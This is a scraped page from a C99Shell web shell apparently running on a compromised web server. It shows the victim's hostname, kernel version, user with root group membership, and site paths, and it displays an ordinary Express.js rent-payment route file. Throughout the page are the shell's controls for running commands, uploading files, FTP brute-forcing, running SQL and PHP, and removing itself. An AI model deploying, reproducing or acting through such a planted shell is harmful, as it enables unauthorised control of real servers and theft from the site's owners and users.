!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/server/routes/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     rent.js (2.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import express from 'express';
import RentPayment from '../models/RentPayment.js';
import { auth, authorize } from '../middleware/auth.js';

const router = express.Router();

// Get all payments
router.get('/', auth, async (req, res) => {
  try {
    const payments = await RentPayment.findAll();
    res.json(payments);
  } catch (err) {
    console.error('Get payments error:', err);
    res.status(500).json({ message: 'Failed to fetch payments' });
  }
});

// Get single payment
router.get('/:id', auth, async (req, res) => {
  try {
    const payment = await RentPayment.findByPk(req.params.id);
    if (!payment) return res.status(404).json({ message: 'Payment not found' });
    res.json(payment);
  } catch (err) {
    res.status(500).json({ message: 'Error fetching payment' });
  }
});

// Create payment
router.post('/', auth, authorize(['manage']), async (req, res) => {
  try {
    const payment = await RentPayment.create(req.body);
    res.status(201).json(payment);
  } catch (err) {
    console.error('Create payment error:', err);
    res.status(500).json({ message: 'Failed to create payment' });
  }
});

// Update payment
router.put('/:id', auth, authorize(['manage']), async (req, res) => {
  try {
    const payment = await RentPayment.findByPk(req.params.id);
    if (!payment) return res.status(404).json({ message: 'Payment not found' });

    await payment.update(req.body);
    res.json(payment);
  } catch (err) {
    console.error('Update payment error:', err);
    res.status(500).json({ message: 'Failed to update payment' });
  }
});

// Delete payment
router.delete('/:id', auth, authorize(['manage']), async (req, res) => {
  try {
    const payment = await RentPayment.findByPk(req.params.id);
    if (!payment) return res.status(404).json({ message: 'Payment not found' });

    await payment.destroy();
    res.status(204).send();
  } catch (err) {
    res.status(500).json({ message: 'Failed to delete payment' });
  }
});

export default router;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--